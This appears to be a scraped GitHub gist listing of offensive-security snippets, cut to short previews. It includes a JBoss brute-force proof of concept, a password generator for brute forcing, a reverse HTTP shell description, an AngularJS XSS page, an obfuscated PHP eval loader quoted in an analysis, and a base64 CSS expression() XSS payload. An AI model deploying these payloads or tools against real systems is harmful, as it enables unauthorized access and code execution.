Skip to content

Instantly share code, notes, and snippets.

View unbaiat's full-sized avatar

unbaiat unbaiat

  • Unicorns United Ltd
  • Castalia
View GitHub Profile
@itsecurityco
itsecurityco / Bruteforce JBoss EAP Admin Console(PoC).py
Created September 10, 2014 00:52
"""
Bruteforce JBoss EAP Admin Console 1.3.4.SP6 (r999)
Author: @itsecurityco
Use: python bruteforce(PoC).py ip:port wordlist
"""
import re
import sys
import urllib
import requests
@unbaiat
unbaiat / BrutePWGen.py
Created February 8, 2016 08:45 — forked from itsecurityco/BrutePWGen.py
Password generator for brute force attacks
"""
Bruteforce Password Generator
Author: @itsecurityco
Use: python BrutePWGen.py --merge-words --h4x0r keywords.txt
"""
import sys
from time import time
class wgen:
@FuzzySecurity
FuzzySecurity / Get-LocalGroup.ps1
Created October 1, 2016 18:12
function Get-LocalGroup {
# PS C:\Users\IEUser\Desktop> Get-LocalGroup -GroupName Administrators
#
# AccountName AccountSID
# ----------- ----------
# Administrator S-1-5-21-1116692041-1164204812-2329106322-500
# IEUser S-1-5-21-1116692041-1164204812-2329106322-1000
# sshd_server S-1-5-21-1116692041-1164204812-2329106322-1002
param(
@3gstudent
3gstudent / JSRat.ps1
Created January 7, 2016 08:45
Fileless JavaScript Reverse HTTP Shell
<#
Author: Casey Smith @subTee
License: BSD3-Clause
.SYNOPSIS
Simple Reverse Shell over HTTP. Execute Commands on Client.
@koto
koto / angular 1.6 xss, no quotes,
Created January 12, 2017 13:26
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
@koto
koto / 1.php
Created September 19, 2011 22:34
Fighting inception obfuscation
<?php
// I got this file once
eval(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?>
@koto
koto / gist:758462
Created December 29, 2010 11:57
}@import/**/data:text/css%3Bbase64%2CKnt4OmV4cHJlc3Npb24od2luZG93Lng%2FMDphbGVydCgxKSx3aW5kb3cueD0xKX0%3D;
@msuiche
msuiche / ioc-generator.ps1
Created January 13, 2017 05:35
PowerShell IOCs generator
dir . | Foreach-Object{
$file = $_
$hash = Get-FileHash $file -Algorithm MD5
$fileinfo = Get-Item $file
New-Object -TypeName PSObject -Property @{
VersionInfo = $fileinfo.VersionInfo
LastWriteTime = $fileinfo.LastWriteTime
Length = $fileinfo.Length
Algorithm = $hash.Algorithm
@unbaiat
unbaiat / ascii-shellcode-encoder.py
Created June 10, 2017 12:47 — forked from mgeeky/ascii-shellcode-encoder.py
ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm.
#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving
@cure53
cure53 / keybase.md
Last active June 29, 2017 17:20

Keybase proof

I hereby claim:

  • I am cure53 on github.
  • I am cure53 (https://keybase.io/cure53) on keybase.
  • I have a public key whose fingerprint is F98B 0EC1 8640 2F60 292C 5877 C26C 8580 90F7 0ADA

To claim this, I am signing this object: